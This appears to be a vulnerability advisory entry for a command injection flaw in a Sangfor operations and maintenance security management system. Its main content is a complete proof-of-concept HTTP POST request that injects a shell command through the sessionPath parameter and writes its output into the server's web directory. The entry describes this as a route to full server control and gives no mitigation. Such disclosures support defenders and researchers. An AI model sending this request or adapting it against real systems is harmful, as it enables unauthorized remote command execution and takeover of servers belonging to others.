深信服运维安全管理系统 /isomp-protocol/protocol/getCmd 命令执行漏洞

2026-01-23 深信服运维安全管理系统 PoC Public

Description

深信服运维安全管理系统是一款用于统一运维审计和权限管理的安全管理系统。该系统的/isomp-protocol/protocol/getCmd接口存在命令注入漏洞，攻击者通过构造恶意的sessionPath参数，可以注入并远程执行任意系统命令，从而完全控制服务器。

PoC

POST /isomp-protocol/protocol/getCmd HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 72
Accept-Encoding: gzip
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Mobile/15E148 Safari/604.1

sessionPath=;id>/usr/local/tomcat/webapps/isomp-protocol/qwer.txt;&sid=1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates#Sangfor Operation and Maintenance Security Management System /isomp-protocol/protocol/getCmd Command Execution Vulnerability

References

Related Vulnerabilities